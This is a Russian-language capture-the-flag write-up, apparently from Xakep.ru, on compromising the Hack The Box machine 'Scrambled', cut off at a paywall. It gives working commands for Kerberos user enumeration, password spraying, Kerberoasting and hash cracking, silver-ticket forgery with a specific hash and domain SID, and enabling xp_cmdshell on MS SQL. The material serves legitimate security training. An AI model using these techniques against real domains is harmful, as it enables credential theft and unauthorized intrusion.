В сегод­няшнем рай­тапе я покажу, как ата­ка ASREPRoast поз­воля­ет получить тикет для служ­бы MS SQL. Дан­ные из базы помогут нам в прод­вижении, а для повыше­ния при­виле­гий заюзаем уяз­вимость при исполь­зовании сери­али­зации.

На­ша цель — зах­ват тре­ниро­воч­ной машины Scrambled с пло­щад­ки Hack The Box.

warning

Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.

 

Разведка

 

Сканирование портов

До­бав­ляем IP-адрес машины в /etc/hosts, что­бы к ней было удоб­нее обра­щать­ся:

10.10.11.168 scrambled.htb

И запус­каем ска­ниро­вание пор­тов.

Справка: сканирование портов

Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да.

На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та.

#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1

Он дей­ству­ет в два эта­па. На пер­вом про­изво­дит­ся обыч­ное быс­трое ска­ниро­вание, на вто­ром — более тща­тель­ное ска­ниро­вание, с исполь­зовани­ем име­ющих­ся скрип­тов (опция -A).

Результат работы скрипта
Ре­зуль­тат работы скрип­та

Наш­лось мно­го откры­тых пор­тов, что типич­но для Windows:

  • 53 — служ­ба DNS;
  • 80 (HTTP) — веб‑сер­вер Microsoft IIS/10.0;
  • 88 — служ­ба Kerberos;
  • 135 — служ­ба уда­лен­ного вызова про­цедур (Microsoft RPC), исполь­зует­ся для опе­раций вза­имо­дей­ствия кон­трол­лер — кон­трол­лер и кон­трол­лер — кли­ент;
  • 139 — служ­ба сеан­сов NetBIOS, NetLogon;
  • 389 — служ­ба LDAP;
  • 445 — служ­ба SMB;
  • 464 — служ­ба сме­ны пароля Kerberos;
  • 593 (HTTP-RPC-EPMAP) — исполь­зует­ся в служ­бах DCOM и MS Exchange;
  • 636 — LDAP с шиф­ровани­ем SSL или TLS;
  • 1433 — СУБД Microsoft SQL Server 2019;
  • 3268 (LDAP) — для дос­тупа к Global Catalog от кли­ента к кон­трол­леру;
  • 3269 (LDAPS) — для дос­тупа к Global Catalog от кли­ента к кон­трол­леру через защищен­ное соеди­нение;
  • 4411 — какое‑то поль­зователь­ское при­ложе­ние;
  • 5985 — служ­ба WinRM;
  • 9389 — веб‑служ­бы AD DS.

Все перечис­ленные служ­бы Microsoft пока что ничего нам дать не могут, поэто­му пер­вым делом смот­рим сайт.

Страница IT Services
Стра­ница IT Services

Сра­зу отме­чаем полез­ную информа­цию: аутен­тифика­ция NTLM отклю­чена.

 

Точка входа

 

OSINT

На одной из стра­ниц находим скрин­шот кон­соли, а в нем вид­но поль­зовате­ля ksimpson. Это очень важ­ная информа­ция!

Страница Reports
Стра­ница Reports

На дру­гой стра­нице отме­чаем инс­трук­цию к ПО, работа­юще­му на пор­те 4411. Здесь обра­тим вни­мание на имя сер­вера и домен — dc1.scrm.local. Соот­ветс­тву­ющие записи добав­ляем в файл /etc/hosts.

10.10.11.168 scrambled.htb dc1.scrm.local scrm.local
Страница IT Services
Стра­ница IT Services

А так­же находим информа­цию о том, что имя поль­зовате­ля может выс­тупить в качес­тве пароля.

Информация о сбросе пароля
Ин­форма­ция о сбро­се пароля
 

Kerberos

Мы можем отпра­вить зап­рос ASREP, сущес­тву­ет ли тот или иной акка­унт. Есть воз­можность зап­росить ключ (AS key) Kerberos это­го поль­зовате­ля, ключ будет зашиф­рован с помощью его пароля. Но дело в том, что сер­вер раз­лича­ет отве­ты «дан­ный флаг не уста­нов­лен» и «учет­ная запись не сущес­тву­ет». А зна­чит, если прой­дем­ся по име­нам поль­зовате­лей и для какого‑то нам отве­тят, что флаг не уста­нов­лен, мы узна­ем, что эта учет­ка сущес­тву­ет. Сде­лать такой перебор мож­но с помощью инс­тру­мен­та GetNPUsers из пакета impacket. Имя поль­зовате­ля у нас уже есть.

GetNPUsers.py scrm.local/ksimpson -no-pass
Проверка существования пользователя
Про­вер­ка сущес­тво­вания поль­зовате­ля

Нам отве­тили, что флаг не уста­нов­лен, а зна­чит, учет­ная запись сущес­тву­ет. Теперь с помощью kerbrute про­верим пароль поль­зовате­ля.

kerbrute_linux_amd64 passwordspray -d scrm.local --dc dc1.scrm.local users.txt ksimpson
Проверка пароля пользователя
Про­вер­ка пароля поль­зовате­ля

Учет­ные дан­ные ока­зались вер­ны, поэто­му мы можем зап­росить тикет поль­зовате­ля и при­менить его как аутен­тифика­тор, вмес­то пароля. В этом нам поможет скрипт getTGT из того же impacket.

impacket-getTGT scrm.local/ksimpson:ksimpson
Получение тикета пользователя ksimpson
По­луче­ние тикета поль­зовате­ля ksimpson

Эк­спор­тиру­ем получен­ный тикет и под­клю­чаем­ся к служ­бе SMB. Что­бы уда­лось аутен­тифици­ровать­ся, вре­мя на тво­ем хос­те и на сер­вере дол­жно отли­чать­ся не боль­ше чем на пять минут. Поэто­му сто­ит обно­вить локаль­ное вре­мя по про­токо­лу NTP.

sudo ntpdate scrm.local
export KRB5CCNAME=ksimpson.ccache
impacket-smbclient -k scrm.local/ksimpson@dc1.scrm.local -no-pass
Подключение к ресурсу SMB
Под­клю­чение к ресур­су SMB

Ко­ман­дой shares получа­ем спи­сок ресур­сов.

 

Точка опоры

Прой­дясь по катало­гам, успешно заходим в Public.

use Pablic
SMB-ресурс Public
SMB-ресурс Public

Там находим все­го один документ. Ска­чива­ем его коман­дой get <file>. В самом докумен­те рас­ска­зано о недав­нем взло­ме служ­бы MS SQL.

Содержимое загруженного документа
Со­дер­жимое заг­ружен­ного докумен­та
 

Kerberoasting

Раз мы име­ем дело с MS SQL, зна­чит, можем выпол­нить ата­ку Kerberoasting. Ее цель — соб­рать билеты TGS для служб, которые запус­кают­ся от име­ни поль­зовате­лей, а не от сис­темных уче­ток. Тикеты TGS зашиф­рованы клю­чами, получен­ными из паролей поль­зовате­лей, а зна­чит, их дан­ные мож­но взло­мать прос­тым перебо­ром. Уяз­вимые учет­ные записи опре­делим по полю SPN, которое не будет пус­тым. Выпол­ним зап­рос TGS с помощью скрип­та GetUserSPNs из все того же impacket.

GetUserSPNs.py scrm.local/ksimpson -dc-ip dc1.scrm.local -dc-host dc1.scrm.local -request -k -no-pass
Получение тикета учетной записи службы MS SQL
По­луче­ние тикета учет­ной записи служ­бы MS SQL

Те­перь сох­раним тикет в файл и отда­дим JTR для перебо­ра. Пароль учет­ной записи получим очень быс­тро.

john sqlsvc.hash --wordlist=rockyou.txt
Пароль учетной записи
Па­роль учет­ной записи
 

Silver Ticket

Мы получи­ли пароль служ­бы, и, что­бы с ней работать, сле­дующим шагом дол­жно быть получе­ние «сереб­ряного билета». Silver ticket — это реаль­ный билет TGS для опре­делен­ной служ­бы, в котором исполь­зует­ся NTLM поль­зовате­ля. Он даст нам дос­туп к этой служ­бе. Что­бы сге­нери­ровать такой билет, нам нуж­но знать NTLM-хеш пароля и SID домена. SID домена получим из отла­доч­ной информа­ции при выпол­нении impacket-secretsdump.

impacket-secretsdump -k scrm.local/ksimpson@dc1.scrm.local -no-pass -debug
SID домена
SID домена

А хеш генери­руем на сай­те md5decrypt.net из получен­ного пароля.

NTLM-хеш пароля
NTLM-хеш пароля

А теперь генери­руем билет.

ticketer.py -domain scrm.local -spn MSSQLSVC/dc1.scrm.local -user-id 500 Administrator -nthash b999a16500b87d17ec7f2e2a68778f05 -domain-sid S-1-5-21-2743207045-1827831105-2542523200
Создание серебряного билета
Соз­дание сереб­ряного билета

Эк­спор­тиру­ем соз­данный билет в рабочее окру­жение и под­клю­чаем­ся к служ­бе MS SQL, исполь­зуя аутен­тифика­цию Kerberos.

export KRB5CCNAME=Administrator.ccache
mssqlclient.py dc1.scrm.local -k -no-pass
SELECT name FROM master.dbo.sysdatabases
Существующие базы данных
Су­щес­тву­ющие базы дан­ных
 

Продвижение

 

Пользователь SqlSvc

Пе­рей­дем к базе дан­ных ScrambleHR и получим из нее таб­лицы.

use ScrambleHR
SELECT name FROM SYSOBJECTS WHERE xtype = 'U'
Таблицы в базе ScrambleHR
Таб­лицы в базе ScrambleHR

Нас инте­ресу­ет таб­лица поль­зовате­лей UserImport. Получа­ем все ее записи.

select * from UserImport
Данные в таблице UserImport
Дан­ные в таб­лице UserImport

С най­ден­ными учет­ными дан­ными под­клю­чить­ся никуда не удас­тся, поэто­му поп­робу­ем получить управле­ние через MS SQL. Пер­вым делом нуж­но акти­виро­вать xp_cmdshell. Из нашего интер­пре­тато­ра это мож­но сде­лать встро­енной коман­дой enable_xp_cmdshell, пос­ле чего выпол­няем рекон­фигура­цию.

enable_xp_cmdshell
reconfigure
Включение xp_cmdshell
Вклю­чение xp_cmdshell

Те­перь мы можем выпол­нять коман­ды через xp_cmdshell.

Получение командной оболочки
По­луче­ние коман­дной обо­лоч­ки

Продолжение доступно только участникам

Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте

Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее

Вариант 2. Открой один материал

Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.


  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии